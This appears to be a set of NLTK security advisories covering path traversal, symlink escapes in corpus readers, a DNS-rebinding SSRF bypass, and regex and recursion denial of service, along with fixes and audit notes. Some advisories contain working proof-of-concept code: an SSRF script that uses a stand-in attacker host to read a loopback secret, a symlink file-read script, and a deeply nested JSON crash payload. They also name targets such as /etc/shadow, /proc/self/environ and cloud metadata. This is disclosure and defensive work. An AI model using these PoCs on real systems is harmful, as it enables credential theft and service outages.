Arbitrary local file read whenever attacker-controlled input reaches nltk.data.load(). Realistic targets include:

/etc/passwd, /etc/shadow (if readable) /proc/self/environ — leaks environment variables, often containing API keys, DB credentials, cloud secrets Application source code and configuration files Cloud metadata, deployment secrets, SSH keys

This is directly relevant to web applications, hosted notebook services, multi-tenant ML pipelines, and CI/CD systems that pass untrusted resource identifiers into NLTK. NLTK's SECURITY.md explicitly places path traversal within the scope of its protection model, so this is a documented security boundary being broken.

fix

https://github.com/nltk/nltk/pull/3575

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9", "3.9.1", "3.9.2", "3.9.3", "3.9.4"]
Secure versions: []

NLTK: Corpus readers follow symlinks outside trusted roots despite pathsec enforcement

Published date: 2026-09-08T16:55:38Z
CVE: CVE-2026-79676
Links:

Summary

Several corpus readers still step outside NLTK's symlink-aware trusted-root model. They derive in-root paths from trusted corpus state, convert those paths back into plain strings, and reopen them with built-in open() rather than nltk.pathsec.open().

Details

  • Vulnerability type: Path traversal and symlink boundary bypass
  • Affected component: nltk.corpus.reader.ipipan, nltk.corpus.reader.crubadan, nltk.corpus.reader.lin
  • Affected versions: Published 3.9.4 and current source v3.10.0-rc2 both reproduced.
  • Patched versions: Not yet patched
  • Root cause: Root-derived paths are reopened with raw open() without preserving the trusted-root boundary.

IPIPANCorpusReader opens header.xml derived from morph.xml, CrubadanCorpusReader opens table.txt directly, and LinThesaurusCorpusReader opens simN.lsp paths returned from its own root helpers. Under pathsec.ENFORCE=True, a symlink placed inside the trusted corpus root can point outside the root and still be parsed successfully. It was confirmed parsed outside-root content is returned through public methods such as channels(), domains(), categories(), langs(), crubadan_to_iso(), synonyms(), and scored_synonyms().

PoC

Preconditions - The application processes attacker-influenced corpora inside a trusted NLTK data root or trusted corpus directory.

Steps 1. Create a trusted corpus root and keep pathsec.ENFORCE=True with that root allowlisted. 2. Place symlinked reader inputs such as header.xml, table.txt, or simN.lsp inside the root and point them to external files. 3. Instantiate the corresponding corpus reader and call its normal public methods. 4. Observe that parsed outside-root values are returned even though pathsec.open() blocks the same symlink targets.

Minimal reproducible excerpt

{'ipipan': ['LEAK', 'TOPSECRET', 'CLASSIFIED'], 'crubadan': ['LEAK'], 'lin': [('LEAK', 9.5)]}

Impact

An attacker who can stage corpus files or symlinks under a trusted data root can disclose outside-root content through normal corpus-reader results, defeating the boundary NLTK documents for shared and untrusted-input environments.

Remediation

Preserve PathPointer and required_root semantics end to end. Replace direct open() calls with nltk.pathsec.open() or a reader helper that keeps the trusted-root boundary intact.

References


Fix + full-codebase audit (verified)

I swept every raw file open in the corpus readers, not just the three the umbrella named:

Reader Site Advisory Root scoping
crubadan table.txt + <code>-3grams.txt p4rw / j5pw required_root=self.root
lin simN.lsp p4rw required_root=self.root
xmldocs XMLCorpusView bare-string fileid 934p (base reader) global fallback (view has no root)
pl196x textids index found by audit required_root=self._root
mte MTEFileReader mvf5 required_root threaded through 8 call sites
toolbox StandardFormat.open codecs.open cr8c global sandbox (low-level parser)
named_entity loadacefile ann/text 7qj2 global sandbox
nkjp XML_Tool source file p4rw class required_root=self._root

ipipan already validates via the earlier #3727 fix — unchanged.

Fix

Each site now calls nltk.pathsec.validate_path(path, required_root=…) before opening. Where the reader has a concrete corpus root, the check is scoped with required_root (rejects any escape outside that root). XMLCorpusView carries no root, so it falls back to the global data-root sandbox via getattr(self, "_root", None) — which also avoids an AttributeError on the bare-string path.

Reproduced (captured)

raw open(symlink) reads: 'TOPSECRET_OUTSIDE_ROOT'          <- the bypass
validate_path(symlink, required_root): ValueError -> BLOCKS the escape
validate_path(legit in-root): PASSED                       <- loads normally

Honest residual

The global-sandbox fallback (toolbox, namedentity, xmldocs-view) is only as tight as the allowed-roots list, which currently includes the system temp dir. Scoping every reader with `requiredroot` and removing the temp dir from the allowed roots would harden it further (separate advisory / task).

Tests

test_corpus_reader_pathsec.py — symlink escape rejected, in-root file allowed, XMLCorpusView string-fileid no AttributeError, MTEFileReader out-of-root rejected. 46 existing corpus/toolbox tests pass; all edited modules import (no circular import). pre-commit (black/isort/ruff) clean.


Scope caveat

validate_path blocks every symlink escape variant (verified) and equals pathsec.open()'s guarantee, but does NOT block hardlinks (no symlink to resolve; tracked separately as GHSA-f794-5jv7-7672) or the validate-then-open TOCTOU race (shared by pathsec.open; needs O_NOFOLLOW/openat).

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9", "3.9.1", "3.9.2", "3.9.3", "3.9.4", "3.10.0", "3.10.1", "3.10.2"]
Secure versions: []

Duplicate Advisory: Uncontrolled recursion in nltk.featstruct.FeatStructReader causes unhandled RecursionError (DoS) via deeply nested feature-structure input

Published date: 2026-08-27T18:32:30Z
Links:

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-cw6x-m8jw-qmrh. This link is maintained to preserve external references.

Original Description

NLTK before 3.10.3 contains an uncontrolled recursion vulnerability in nltk.featstruct.FeatStructReader that allows unauthenticated attackers to cause a denial of service by supplying deeply nested feature-structure input. Attackers can craft trivial payloads with nested brackets that exceed Python's recursion limit and raise an unhandled RecursionError, crashing applications that parse user-supplied feature structures or feature grammars.

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9", "3.9.1", "3.9.2", "3.9.3", "3.9.4", "3.10.0", "3.10.1", "3.10.2"]
Secure versions: []

Duplicate Advisory: NLTK: Missing Post-Download Integrity Verification Allows Malicious Package Injection

Published date: 2026-08-03T09:32:37Z
Links:

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-5wp5-5229-5g6q. This link is maintained to preserve external references.

Original Description

In nltk version 3.9.4, the nltk.downloader.Downloader._download_package() function writes downloaded package bytes to disk and may extract them before enforcing SHA-256 or MD5 checksum validation. This allows an attacker to tamper with the package response body for info.url through a compromised mirror, malicious proxy, or other source-substitution condition, leading to the installation of attacker-controlled package bytes. The vulnerability can result in malicious corpus or model content being trusted by downstream users or applications.

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "3.5b1", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9b1", "3.9", "3.9.1", "3.9.2"]
Secure versions: []

Duplicate Advisory: Arbitrary File Read via Path Traversal in nltk.data.load() through Percent-Encoded Sequences

Published date: 2026-06-30T03:37:14Z
Links:

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-m42h-3232-vpv3. This link is maintained to preserve external references.

Original Description

NLTK version 3.9.4 is vulnerable to a path traversal attack due to an incomplete fix for GitHub Issue #3504. The _UNSAFE_NO_PROTOCOL_RE regex in nltk/data.py checks for literal ../ sequences but fails to account for percent-encoded traversal sequences such as ..%2f. The url2pathname() function decodes these sequences after the validation step, allowing an attacker to bypass the protection. This vulnerability enables an attacker to read arbitrary files accessible to the Python process by controlling the resource name parameter passed to nltk.data.load() or nltk.data.find(). The issue affects applications that rely on NLTK for resource loading, including NLP web applications, Jupyter notebooks, and CLI tools. The default pathsec.ENFORCE=False setting exacerbates the impact by not blocking the file read at the open() stage.

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9", "3.9.1", "3.9.2", "3.9.3", "3.9.4"]
Secure versions: []

Duplicate Advisory: nltk: SSRF Fail-Open in validate_network_url() via DNS Resolution Failure

Published date: 2026-08-22T15:31:03Z
Links:

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-3gqm-fcw5-w839. This link is maintained to preserve external references.

Original Description

NLTK before 3.10.0 (affected versions <= 3.9.4) contains a server-side request forgery (SSRF) vulnerability in the validatenetworkurl() function in nltk/pathsec.py. The resolvehostname() helper catches OSError and ValueError during socket.getaddrinfo() and returns an empty list; when DNS resolution fails, the validation loop executes no IP checks and the function fails open, allowing urlopen() to proceed without validation. An attacker who can trigger DNS resolution failures or use DNS rebinding can bypass SSRF protections and reach restricted network resources, including cloud metadata endpoints (e.g., 169.254.169.254).

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "3.5b1", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9b1", "3.9", "3.9.1", "3.9.2", "3.9.3", "3.9.4"]
Secure versions: []

Duplicate Advisory: Stable FrameNet and NKJP readers parse outside-root XML in 3.9.4

Published date: 2026-08-22T15:31:03Z
Links:

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-568f-pv23-39p4. This link is maintained to preserve external references.

Original Description

NLTK versions before 3.10.0 contain a path traversal vulnerability in FramenetCorpusReader and NKJPCorpusReader that allows attackers to parse XML files outside the corpus root by supplying unsafe selectors or poisoned index state. Attackers can exploit framebyname, doc, lu, and header methods with crafted parameters to read arbitrary XML files accessible to the application.

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "3.5b1", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9b1", "3.9", "3.9.1", "3.9.2", "3.9.3", "3.9.4"]
Secure versions: []

Natural Language Toolkit (NLTK): DNS-rebinding SSRF filter bypass in nltk.pathsec.urlopen (nltk.download / nltk.data.load) defeats ENFORCE mode

Published date: 2026-07-31T16:51:29Z
CVE: CVE-2026-12075
Links:

Summary

nltk.pathsec provides an SSRF filter that NLTK documents as a security control, blocking loopback, private, link-local, and multicast ranges (including obfuscated forms) and recommending strict ENFORCE mode for security-sensitive environments. The filter is bypassable by DNS rebinding: validate_network_url() resolves the hostname and checks the resulting IP, but the actual HTTP connection re-resolves the hostname independently at connect time and connects to that second result. The validated IP is never the one connected to. An attacker controlling DNS for a hostname (a TTL-0 rebinding record) returns a public IP for the validation lookup and an internal/loopback IP for the connection lookup, defeating the filter even under nltk.pathsec.ENFORCE = True.

Details

urlopen() validates, then hands the raw hostname to urllib, which performs a second name resolution deep in the connection layer (http.client.HTTPConnection.connectsocket.create_connectionsocket.getaddrinfo). The validation-side and connection-side resolutions are fully independent code paths with independent caches:

  1. validate_network_url() calls _resolve_hostname(parsed.hostname) and checks each returned IP against loopback/link-local/multicast/private, blocking under ENFORCE. (Resolution #1.)
  2. urlopen() then calls build_opener(...).open(url) with the original URL (raw hostname), so urllib resolves the hostname again at connect time. (Resolution #2 — the address actually connected to.)

_resolve_hostname is decorated with lru_cache and its docstring claims to mitigate DNS rebinding, but the cache only memoizes the validation-side lookup. The connection layer's getaddrinfo does not consult that cache, so it provides no protection. The annotation is a false assurance: an operator reading it may believe rebinding is handled when it is not.

PoC

import socket
import threading
import warnings
from collections import defaultdict
from http.server import BaseHTTPRequestHandler, HTTPServer

warnings.filterwarnings("ignore")

import nltk
import nltk.pathsec as ps

ps.ENFORCE = True  # the documented strict SSRF sandbox

ATTACKER_HOST = "rebind.attacker.test"   # attacker-controlled authoritative DNS
PUBLIC_IP = "93.184.216.34"              # public address served for the validation lookup
SECRET = b"TOP-SECRET-LOOPBACK-ONLY-METADATA-CREDENTIALS"


# --- A loopback-only "internal service" (stands in for 169.254.169.254 / admin UI) ---
class _Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.send_header("Content-Length", str(len(SECRET)))
        self.end_headers()
        self.wfile.write(SECRET)

    def log_message(self, *a):
        pass


def start_internal_server():
    srv = HTTPServer(("127.0.0.1", 0), _Handler)
    threading.Thread(target=srv.serve_forever, daemon=True).start()
    return srv.server_address[1]  # ephemeral port


# --- Model the TTL-0 rebinding record at the resolver layer ---
_real_getaddrinfo = socket.getaddrinfo
_lookups = defaultdict(int)


def _rebinding_getaddrinfo(host, port, *args, **kwargs):
    if host == ATTACKER_HOST:
        n = _lookups[host]
        _lookups[host] += 1
        ip = PUBLIC_IP if n == 0 else "127.0.0.1"   # 1st=public (validate), then loopback (connect)
        p = port if isinstance(port, int) else 0
        kind = "VALIDATION -> public" if n == 0 else "CONNECT    -> loopback"
        print(f"    [dns] getaddrinfo({host!r}) lookup #{n}: {kind} ({ip})")
        return [(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, "", (ip, p))]
    return _real_getaddrinfo(host, port, *args, **kwargs)


def fetch(url):
    with ps.urlopen(url, timeout=5) as r:
        return r.read()


def main():
    print("=" * 62)
    print(f" NLTK pathsec DNS-rebinding SSRF bypass PoC")
    print(f" nltk {nltk.__version__}   |   nltk.pathsec.ENFORCE = {ps.ENFORCE}")
    print("=" * 62)

    port = start_internal_server()
    print(f"[*] internal loopback service: http://127.0.0.1:{port}/  (returns secret)\n")

    socket.getaddrinfo = _rebinding_getaddrinfo
    ps._resolve_hostname.cache_clear()  # fresh validation cache, as on a real process
    try:
        # ---- Control: a DIRECT loopback URL must be blocked by the filter ----
        print("[1] CONTROL: direct loopback URL (filter must block this)")
        direct = f"http://127.0.0.1:{port}/"
        try:
            fetch(direct)
            print(f"    [?] unexpected: {direct} was NOT blocked\n")
            control_ok = False
        except PermissionError as e:
            print(f"    [OK] blocked -> PermissionError: {e}\n")
            control_ok = True

        # ---- Attack: rebinding hostname bypasses the same filter ----
        print("[2] ATTACK: rebinding hostname (public at validate, loopback at connect)")
        evil = f"http://{ATTACKER_HOST}:{port}/"
        print(f"    fetching {evil}")
        try:
            body = fetch(evil)
            leaked = SECRET in body
            print(f"    body returned to caller: {body!r}")
            if leaked:
                print("\n  [VULN] loopback-only secret exfiltrated through pathsec.urlopen")
                print(f"         validated IP = {PUBLIC_IP} (public)  but  connected IP = 127.0.0.1")
                print(f"         non-blind SSRF despite ENFORCE = {ps.ENFORCE}")
                verdict = "VULNERABLE"
            else:
                print("\n  [?] fetch succeeded but secret marker not present")
                verdict = "INCONCLUSIVE"
        except PermissionError as e:
            # Patched build: validate against the connect-time IP (or pin/resolve-once).
            print(f"\n  [SAFE] blocked -> PermissionError: {e}")
            verdict = "NOT VULNERABLE"
    finally:
        socket.getaddrinfo = _real_getaddrinfo

    print("\n" + "=" * 62)
    print(f" Control (direct loopback blocked): {control_ok}")
    print(f" Result: {verdict}   (ENFORCE = {ps.ENFORCE})")
    print("=" * 62)


if __name__ == "__main__":
    main()

Impact

  • Full-response (non-blind) SSRF. Because the fetched body is returned to the caller (e.g. nltk.data.load with format="raw"), an attacker can read responses from internal-only HTTP services, loopback admin interfaces, and — most seriously — the cloud instance metadata service, which on major cloud providers can expose IAM/service credentials and lead to cloud account compromise.
  • Bypass of an explicit security control. It defeats the nltk.pathsec SSRF filter, including the ENFORCE mode that NLTK's documentation recommends precisely for environments where untrusted input may reach NLTK. Deployments that adopted that boundary are not actually protected, and the lru_cache annotation claiming to mitigate rebinding makes the false assurance worse.

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9", "3.9.1", "3.9.2", "3.9.3", "3.9.4"]
Secure versions: []

NLTK TweetTokenizer vulnerable to denial of service through catastrophic regex backtracking

Published date: 2026-08-21T00:31:23Z
CVE: CVE-2026-72818
Links:

The URLS regular expression in nltk/tokenize/casual.py, compiled into TweetTokenizer.WORDRE and applied by TweetTokenizer.tokenize, contains a naked-domain branch whose domain-label prefix [a-z0-9]+(?:[.-][a-z0-9]+)* is unbounded. Input consisting of many alternating label separators can be partitioned in exponentially many ways, and because the branch also requires a trailing top-level domain that such input never supplies, the engine explores those partitions before failing at each offset. A few kilobytes of input therefore consumes seconds to minutes of single-threaded CPU, and the HANGRE substitution performed before matching does not collapse the pattern. TweetTokenizer is intended for tokenizing untrusted social-media text, so any service that applies it, or the module-level casual_tokenize, to submitted text can be stalled per request without authentication. Version 3.10.1 bounds the label repetition.

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9", "3.9.1", "3.9.2", "3.9.3", "3.9.4", "3.10.0"]
Secure versions: []

NLTK: Symlink escape in CorpusReader allows arbitrary local file read outside the corpus root

Published date: 2026-09-08T15:26:47Z
CVE: CVE-2026-70626
Links:

Summary

nltk.corpus.reader.api.CorpusReader.open() can be used to read files outside the intended corpus root via a symlink placed inside that root. Although NLTK blocks absolute paths and .. traversal, the current boundary check is only lexical and does not account for symlink resolution. This leads to an arbitrary local file read / filesystem sandbox bypass for applications that rely on CorpusReader or FileSystemPathPointer to restrict file access.

Details

The vulnerable flow is:

  • nltk/corpus/reader/api.py:222

    • CorpusReader.open() blocks absolute paths and .., then calls self._root.join(file).open()
  • nltk/data.py:398

    • FileSystemPathPointer.join() joins the requested file ID and checks whether the resulting path still appears to remain under the configured root

The problem is that the check is based on the lexical path after os.path.normpath(), not on the resolved path after following symlinks.

Current behavior:

  1. CorpusReader.open() rejects:
    • absolute paths
    • .. path traversal
  2. FileSystemPathPointer.join() computes:
    • joined = os.path.normpath(os.path.join(self._path, fileid))
    • root = os.path.normpath(self._path)
  3. It allows the access if joined starts with root

This misses the case where a path stays inside the root lexically, but resolves outside the root via a symlink already present under the allowed directory.

Example:

JOINED=/tmp/nltk-root/link/secret.txt
REALPATH=/tmp/outside/secret.txt

JOINED still appears to be inside the root, but REALPATH is outside it.

This is distinct from simple ../ traversal:

  • the file ID is not absolute
  • the file ID does not contain ..
  • the escape only happens after filesystem resolution of a symlink under the allowed root

PoC

Reproduced in an isolated Docker sandbox using the local nltk clone.

Minimal Python PoC:

import os
import tempfile
from nltk.corpus.reader.api import CorpusReader

root = tempfile.mkdtemp(prefix="nltk-root-")
outside_dir = tempfile.mkdtemp(prefix="nltk-out-")
outside_file = os.path.join(outside_dir, "secret.txt")

with open(outside_file, "w") as f:
    f.write("secret-data")

os.symlink(outside_dir, os.path.join(root, "link"))

corpus = CorpusReader(root, ["link/secret.txt"])
with corpus.open("link/secret.txt") as f:
    print(f.read())

Observed result:

secret-data

Docker re-test output:

ROOT=/tmp/nltk-root-jjxay3if
OUTSIDE_DIR=/tmp/nltk-out-1kef36e0
JOINED=/tmp/nltk-root-jjxay3if/link/secret.txt
REALPATH=/tmp/nltk-out-1kef36e0/secret.txt
READ_OK=secret-data
INSIDE_ROOT=True
REAL_INSIDE_ROOT=False

Additional impact validation using a system file:

ROOT=/tmp/nltk-root-_h5x4m19
JOINED=/tmp/nltk-root-_h5x4m19/hostfile
REALPATH=/etc/hostname
HOSTNAME_READ=48dafb244af3
INSIDE_ROOT=True
REAL_INSIDE_ROOT=False

This shows that the issue is not limited to attacker-created files outside the root; it can also read existing system files that are readable by the application user.

Impact

This is an arbitrary local file read / symlink escape issue.

Who is impacted:

  • applications that accept attacker-controlled corpus directories, extracted datasets, or package contents
  • applications that rely on NLTK corpus readers as a trust boundary for file access
  • any deployment where an attacker can place or influence files inside the allowed corpus root

Practical impact includes disclosure of:

  • application secrets stored on disk
  • local configuration files
  • private datasets
  • process-exposed files such as /proc/self/environ
  • system files readable by the running user

The issue is best described as a filesystem sandbox bypass caused by improper link resolution before file access.

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "3.5b1", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9b1", "3.9", "3.9.1", "3.9.2", "3.9.3"]
Secure versions: []

Duplicate Advisory: NLTK: Corpus Reader Sandbox Bypass

Published date: 2026-08-25T18:31:52Z
Links:

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-3gq4-3j92-5w49. This link is maintained to preserve external references.

Original Description

NLTK versions before 3.10.3 contain a path sandbox bypass vulnerability in corpus-reader constructors that allows attackers to read files outside the intended data root. Attackers can supply arbitrary corpus root paths to LinThesaurusCorpusReader and PanLexLiteCorpusReader constructors to access filesystem content and SQLite databases outside the pathsec sandbox boundary.

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9", "3.9.1", "3.9.2", "3.9.3", "3.9.4", "3.10.0", "3.10.1", "3.10.2"]
Secure versions: []

Natural Language Toolkit (NLTK) has unbounded recursion in JSONTaggedDecoder.decode_obj() may cause DoS

Published date: 2026-03-18T20:17:43Z
CVE: CVE-2026-66393
Links:

Summary

JSONTaggedDecoder.decode_obj() in nltk/jsontags.py calls itself recursively without any depth limit. A deeply nested JSON structure exceeding sys.getrecursionlimit() (default: 1000) will raise an unhandled RecursionError, crashing the Python process.

Affected code

File: nltk/jsontags.py, lines 47–52 python @classmethod def decode_obj(cls, obj): if isinstance(obj, dict): obj = {key: cls.decode_obj(val) for (key, val) in obj.items()} elif isinstance(obj, list): obj = list(cls.decode_obj(val) for val in obj)

Proof of Concept

import sys, json
from nltk.jsontags import JSONTaggedDecoder

depth = sys.getrecursionlimit() + 50  # e.g. 1050
payload = '{"x":' * depth + "null" + "}" * depth

# Raises RecursionError, crashing the process
json.loads(payload, cls=JSONTaggedDecoder)

Impact

Any code path that passes externally-supplied JSON to JSONTaggedDecoder is vulnerable to denial of service. The severity depends on whether such a path exists in the calling code (e.g. nltk/data.py).

Suggested Fix

Add a depth parameter with a hard limit: python @classmethod def decode_obj(cls, obj, _depth=0): if _depth > 100: raise ValueError("JSON nesting too deep") if isinstance(obj, dict): obj = {key: cls.decode_obj(val, _depth + 1) for (key, val) in obj.items()} elif isinstance(obj, list): obj = list(cls.decode_obj(val, _depth + 1) for val in obj)

